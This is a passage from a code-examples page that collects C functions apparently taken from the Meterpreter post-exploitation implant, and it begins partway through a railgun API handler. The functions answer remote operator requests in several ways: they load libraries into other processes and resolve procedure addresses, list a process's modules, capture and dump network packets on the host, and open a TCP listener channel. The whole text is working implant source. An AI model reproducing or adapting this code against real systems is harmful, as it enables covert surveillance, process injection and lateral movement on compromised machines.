		tlvs[3].buffer        = (PUCHAR)bufferINOUT;

		packet_add_tlv_group(response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, 4);
		dprintf("added stuff");

	cleanup: // todo: transmit error message on failure
		dprintf("request_railgun_api: cleanup");
		if (bufferIN != NULL) {free(bufferIN);}
		if (bufferOUT != NULL) {free(bufferOUT);}
		if (bufferINOUT != NULL) {free(bufferINOUT);}
		if (stack != NULL) {free(stack);}
	}

	packet_transmit_response(ERROR_SUCCESS, remote, response);
	dprintf("transmitted back");
	return 0;
}
Exemple #25
0
/*
 * Returns the address of a procedure that is associated with the supplied
 * module to the requestor.
 *
 * req: TLV_TYPE_IMAGE_NAME     - The name of the image to query.
 * req: TLV_TYPE_PROCEDURE_NAME - The name of the procedure to query.
 */
DWORD request_sys_process_image_get_proc_address(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	HMODULE mod = NULL;
	BOOLEAN unload = FALSE;
	HANDLE process;
	LPCSTR image;
	LPCSTR procedure;
	LPVOID address = NULL;

	process   = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
	image     = packet_get_tlv_value_string(packet, TLV_TYPE_IMAGE_FILE);
	procedure = packet_get_tlv_value_string(packet, TLV_TYPE_PROCEDURE_NAME);

	do
	{
		// Validate parameters
		if ((!image) ||
		    (!procedure))
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// If the process handle is not this process...
		if (process != GetCurrentProcess())
		{
			if ((result = remote_load_library(process, image, 
					&mod)) != ERROR_SUCCESS)
				break;
			
			if ((result = remote_get_proc_address(process, mod, procedure,
					&address)) != ERROR_SUCCESS)
				break;
		}
		// Otherwise, load the library locally
		else
		{
			unload = TRUE;

			if (!(mod = LoadLibrary(image)))
			{
				result = GetLastError();
				break;
			}

			// Try to resolve the procedure name
			if (!(address = (LPVOID)GetProcAddress(mod, procedure)))
			{
				result = GetLastError();
				break;
			}
		}

		// Set the procedure address on the response
		packet_add_tlv_uint(response, TLV_TYPE_PROCEDURE_ADDRESS, 
				(DWORD)address);

	} while (0);

	// Lose the reference to the module
	if ((mod) &&
	    (unload))
		FreeLibrary(mod);
	else if (mod)
		remote_unload_library(process, mod);

	// Transmit the response
	packet_transmit_response(result, remote, response);

	return ERROR_SUCCESS;
}
Exemple #26
0
/*
 * Returns a list of all of the loaded image files and their base addresses to
 * the requestor.
 *
 * req: TLV_TYPE_HANDLE - The process handle to enumerate the images of
 */
DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
{
	BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
	DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, 
			DWORD baseSize);
	DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
			DWORD pathSize);
	Packet *response = packet_create_response(packet);
	HMODULE *modules = NULL;
	BOOLEAN valid = FALSE;
	HANDLE psapi = NULL;
	HANDLE handle;
	DWORD result = ERROR_SUCCESS;
	DWORD needed = 0, actual, tries = 0;
	DWORD index;

	handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);

	do
	{
		// No response?  No sense.
		if (!response)
			break;
		
		// Open the process API
		if (!(psapi = LoadLibrary("psapi")))
			break;

		// Try to resolve the address of EnumProcessModules
		if (!((LPVOID)enumProcessModules = 
				(LPVOID)GetProcAddress(psapi, "EnumProcessModules")))
			break;

		// Try to resolve the address of GetModuleBaseNameA
		if (!((LPVOID)getModuleBaseName = 
				(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA")))
			break;

		// Try to resolve the address of GetModuleFileNameExA
		if (!((LPVOID)getModuleFileNameEx = 
				(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA")))
			break;

		// Validate parameters
		if (!handle)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// The current actual size of the array in bytes
		actual = sizeof(HMODULE) * 512;

		do
		{
			// Free previous storage
			if (modules)
				free(modules);

			// Allocate storage for the array
			modules = (HMODULE *)malloc(actual);

			// Try to enumerate the image's modules
			if (enumProcessModules(handle, modules, actual, &needed))
			{
				valid = TRUE;
				break;
			}

		} while ((actual < needed) &&
		         (tries++ < 3));

		// If we failed to succeed...
		if (!valid)
		{
			result = GetLastError();
			break;
		}

		// Enumerate through all of the modules...
		for (index = 0;
		     index < needed / sizeof(HMODULE);
		     index++)
		{
			char  path[1024], name[512];
			DWORD base = 0;
			Tlv   tlvs[3];

			memset(name, 0, sizeof(name));
			memset(path, 0, sizeof(path));

			// Query for base name and file name
			if ((!getModuleBaseName(handle, modules[index], name,
					sizeof(name) - 1)) ||
			    (!getModuleFileNameEx(handle, modules[index], path,
					sizeof(path) - 1)))
			{
				result = GetLastError();
				break;
			}

			base = htonl((DWORD)modules[index]);

			tlvs[0].header.length = sizeof(HMODULE);
			tlvs[0].header.type   = TLV_TYPE_IMAGE_BASE;
			tlvs[0].buffer        = (PUCHAR)&base;
			tlvs[1].header.length = (DWORD)strlen(path) + 1;
			tlvs[1].header.type   = TLV_TYPE_IMAGE_FILE_PATH;
			tlvs[1].buffer        = (PUCHAR)path;
			tlvs[2].header.length = (DWORD)strlen(name) + 1;
			tlvs[2].header.type   = TLV_TYPE_IMAGE_NAME;
			tlvs[2].buffer        = (PUCHAR)name;

			packet_add_tlv_group(response, TLV_TYPE_IMAGE_GROUP, tlvs, 3);
		}

	} while (0);

	// Transmit the response
	packet_transmit_response(result, remote, response);

	// Cleanup
	if (modules)
		free(modules);
	// Close the psapi library and clean up
	if (psapi)
		FreeLibrary(psapi);

	return ERROR_SUCCESS;
}
Exemple #27
0
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
	Packet *response = packet_create_response(packet);
	unsigned int ifid;
	unsigned int maxp;
	CaptureJob *j;
	DWORD result;
	HANDLE ifh;

	check_pssdk();
	dprintf("sniffer>> start_capture()");

	ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
	maxp = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_PACKET_COUNT);
	maxp = min(maxp, 200000);
	maxp = max(maxp, 1);

	result = ERROR_SUCCESS;

	do {
		// the interface is invalid
		if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		ifh = pktsdk_interface_by_index(ifid);
		if(ifh == NULL) {
			result = ERROR_INVALID_PARAMETER;
			break;		
		}

		j = &open_captures[ifid];

		// the interface is already being captured
		if(j->active) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		j->adp = AdpCreate();
		dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp);

		AdpSetConfig(j->adp,ifh);
		hErr = AdpOpenAdapter(j->adp);
		dprintf("sniffer>> capture_start() AdpOpenAdapter: 0x%.8x", hErr);
		if (hErr != HNERR_OK) { 
			AdpDestroy(j->adp);
			result = hErr;
			break;
		}
		
		j->pkts = calloc(maxp, sizeof(HANDLE));
		if(j->pkts == NULL) {
			AdpCloseAdapter(j->adp);
			AdpDestroy(j->adp);
			result = ERROR_ACCESS_DENIED;
			break;
		}

		j->active   = 1;
		j->intf     = ifid;
		j->max_pkts = maxp;
		j->cur_pkts = 0;
		j->mtu      = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp));

		AdpSetOnPacketRecv(j->adp, (FARPROC) sniffer_receive, (DWORD_PTR)j);
		AdpSetMacFilter(j->adp, mfAll);
	} while(0);
	
	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
/*!
 * @brief Allocates a streaming TCP server channel.
 * @param remote Pointer to the remote instance.
 * @param packet Pointer to the request packet.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS Opening the server channel completed successfully.
 */
DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet)
{
    DWORD dwResult = ERROR_SUCCESS;
    TcpServerContext * ctx = NULL;
    Packet * response = NULL;
    char * localHost = NULL;
    StreamChannelOps chops = { 0 };
    USHORT localPort = 0;
    BOOL v4Fallback = FALSE;

    do
    {
        response = packet_create_response(packet);
        if (!response)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        ctx = (TcpServerContext *)malloc(sizeof(TcpServerContext));
        if (!ctx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. ctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        memset(ctx, 0, sizeof(TcpServerContext));

        ctx->remote = remote;

        localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF);
        if (!localPort)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. localPort == NULL", ERROR_INVALID_HANDLE);
        }

        localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST);

        ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
        if (ctx->fd == INVALID_SOCKET)
        {
            v4Fallback = TRUE;
        }
        else
        {
            int no = 0;
            if (setsockopt(ctx->fd, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR)
            {
                // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to
                // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common
                // so instead, we'll just revert back to v4 and listen on that one address instead.
                closesocket(ctx->fd);
                v4Fallback = TRUE;
            }
        }

        struct sockaddr_in6 sockAddr = { 0 };
        DWORD sockAddrSize = 0;

        if (v4Fallback)
        {
            struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr;
            v4Addr->sin_addr.s_addr = localHost == NULL ? htons(INADDR_ANY) : inet_addr(localHost);
            v4Addr->sin_family = AF_INET;
            v4Addr->sin_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in);
        }
        else
        {
            // TODO: add IPv6 address binding support
            sockAddr.sin6_addr = in6addr_any;
            sockAddr.sin6_family = AF_INET6;
            sockAddr.sin6_port = htons(localPort);
            sockAddrSize = sizeof(struct sockaddr_in6);
        }

        if (bind(ctx->fd, (SOCKADDR *)&sockAddr, sockAddrSize) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. bind failed");
        }

        if (listen(ctx->fd, SOMAXCONN) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. listen failed");
        }

        ctx->notify = WSACreateEvent();
        if (ctx->notify == WSA_INVALID_EVENT)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSACreateEvent failed");
        }

        if (WSAEventSelect(ctx->fd, ctx->notify, FD_ACCEPT) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed");
        }

        ctx->ipv6 = !v4Fallback;

        memset(&chops, 0, sizeof(StreamChannelOps));
        chops.native.context = ctx;
        chops.native.close = tcp_channel_server_close;

        ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
        if (!ctx->channel)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
        }

        scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);

        packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));

        dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel));

    } while (0);

    packet_transmit_response(dwResult, remote, response);

    do
    {
        if (dwResult == ERROR_SUCCESS)
        {
            break;
        }

        dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult);

        if (!ctx)
        {
            break;
        }

        if (ctx->fd)
        {
            dprintf("[TCP-SERVER] Destroying socket");
            closesocket(ctx->fd);
        }

        if (ctx->channel)
        {
            dprintf("[TCP-SERVER] Destroying channel");
            channel_destroy(ctx->channel, packet);
        }

        free(ctx);

    } while (0);

    return dwResult;
}
Exemple #29
0
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	Tlv entries[8];

	/*
		0: Index
		1: Name
		2: Description
		3: Type
		4: MTU
		5: Wireless?
		6: Accessible?
		7: DHCP?
	*/
	unsigned int idx = 1;
	HANDLE hCfg;
	
	check_pssdk();

	hCfg = MgrGetFirstAdapterCfg(hMgr);

	do
	{
		unsigned char *aname = (unsigned char *)AdpCfgGetAdapterNameA(hCfg);
		unsigned char *adesc = (unsigned char *)AdpCfgGetAdapterDescriptionA(hCfg);
		unsigned int ahand = htonl((unsigned int)hCfg); 
		unsigned int atype = htonl(AdpCfgGetAdapterType(hCfg));
		unsigned int amtu  = htonl(AdpCfgGetMaxPacketSize(hCfg));
		unsigned int aidx  = htonl(idx);

		BOOL awireless = AdpCfgIsWireless(hCfg);
		BOOL ausable   = AdpCfgGetAccessibleState(hCfg);
		BOOL adhcp     = AdpCfgGetDhcpState(hCfg);

		memset(entries, 0, sizeof(entries));

		dprintf("sniffer>> interface %d - %s - %s", idx, aname, adesc);

		entries[0].header.type   = TLV_TYPE_UINT;
		entries[0].header.length = sizeof(unsigned int);
		entries[0].buffer        = (PUCHAR)&aidx;

		entries[1].header.type   = TLV_TYPE_STRING;
		entries[1].header.length = strlen(aname)+1;
		entries[1].buffer        = aname;

		entries[2].header.type   = TLV_TYPE_STRING;
		entries[2].header.length = strlen(adesc)+1;
		entries[2].buffer        = adesc;

		entries[3].header.type   = TLV_TYPE_UINT;
		entries[3].header.length = sizeof(unsigned int);
		entries[3].buffer        = (PUCHAR)&atype;

		entries[4].header.type   = TLV_TYPE_UINT;
		entries[4].header.length = sizeof(unsigned int);
		entries[4].buffer        = (PUCHAR)&amtu;

		entries[5].header.type   = TLV_TYPE_BOOL;
		entries[5].header.length = sizeof(BOOL);
		entries[5].buffer        = (PUCHAR)&awireless;

		entries[6].header.type   = TLV_TYPE_BOOL;
		entries[6].header.length = sizeof(BOOL);
		entries[6].buffer        = (PUCHAR)&ausable;

		entries[7].header.type   = TLV_TYPE_BOOL;
		entries[7].header.length = sizeof(BOOL);
		entries[7].buffer        = (PUCHAR)&adhcp;

		packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);

		idx++;
	}while((hCfg = MgrGetNextAdapterCfg(hMgr,hCfg)) != NULL);

	packet_transmit_response(ERROR_SUCCESS, remote, response);
	return ERROR_SUCCESS;
}
Exemple #30
0
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
	Packet *response = packet_create_response(packet);
	unsigned int ifid;
	unsigned int rbuf,mbuf;
	unsigned int *tmp;

	CaptureJob *j;
	DWORD result,pcnt,bcnt,rcnt,i;
	DWORD thi, tlo;

	check_pssdk();
	dprintf("sniffer>> capture_dump()");

	ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID);
	dprintf("sniffer>> capture_dump(0x%.8x)", ifid);

	result = ERROR_SUCCESS;

	EnterCriticalSection(&sniffercs);

	do {
		// the interface is invalid
		if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}
		
		j = &open_captures[ifid];

		// the interface was not captured
		if(! j->adp) {
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		// Free any existing packet buffer
		if(j->dbuf) {
			free(j->dbuf);
			j->dbuf = NULL;
			j->dlen = 0;
			j->didx = 0;
		}

		// Add basic stats
		pcnt = 0;
		bcnt = 0;
		rcnt = 0;

		mbuf = (1024*1024);
		j->dbuf = malloc(mbuf);
		rbuf = 0;

		for(i=0; i<j->max_pkts; i++) {
			if(!j->pkts[i]) break;

			rbuf += (8 + 8 + 4 + PktGetPacketSize(j->pkts[i]));
			if(mbuf < rbuf) {
				mbuf += (1024*1024);
				j->dbuf = realloc(j->dbuf, mbuf);
			
				if(!j->dbuf) {
					dprintf("sniffer>> realloc of %d bytes failed!", rbuf);
					result = ERROR_NOT_ENOUGH_MEMORY;
					break;
				}
			}

			tmp = (unsigned int *)( j->dbuf + rcnt );
			tlo = PktGetId(j->pkts[i], &thi);
			*tmp = htonl(thi); tmp++;
			*tmp = htonl(tlo); tmp++;

			tlo = PktGetTimeStamp(j->pkts[i], &thi);
			*tmp = htonl(thi); tmp++;
			*tmp = htonl(tlo); tmp++;

			tlo = PktGetPacketSize(j->pkts[i]);
			*tmp = htonl(tlo); tmp++;

			memcpy(j->dbuf+rcnt+20, PktGetPacketData(j->pkts[i]), tlo);
			
			rcnt += 20 + tlo;
			pcnt++;

			PktDestroy(j->pkts[i]);
			j->pkts[i] = NULL;
		}

		j->dlen = rcnt;

		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
		packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);

		dprintf("sniffer>> finished processing packets");

		j->cur_bytes = 0;
		j->cur_pkts  = 0;
		j->idx_pkts  = 0;
	} while(0);

	LeaveCriticalSection(&sniffercs);
	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}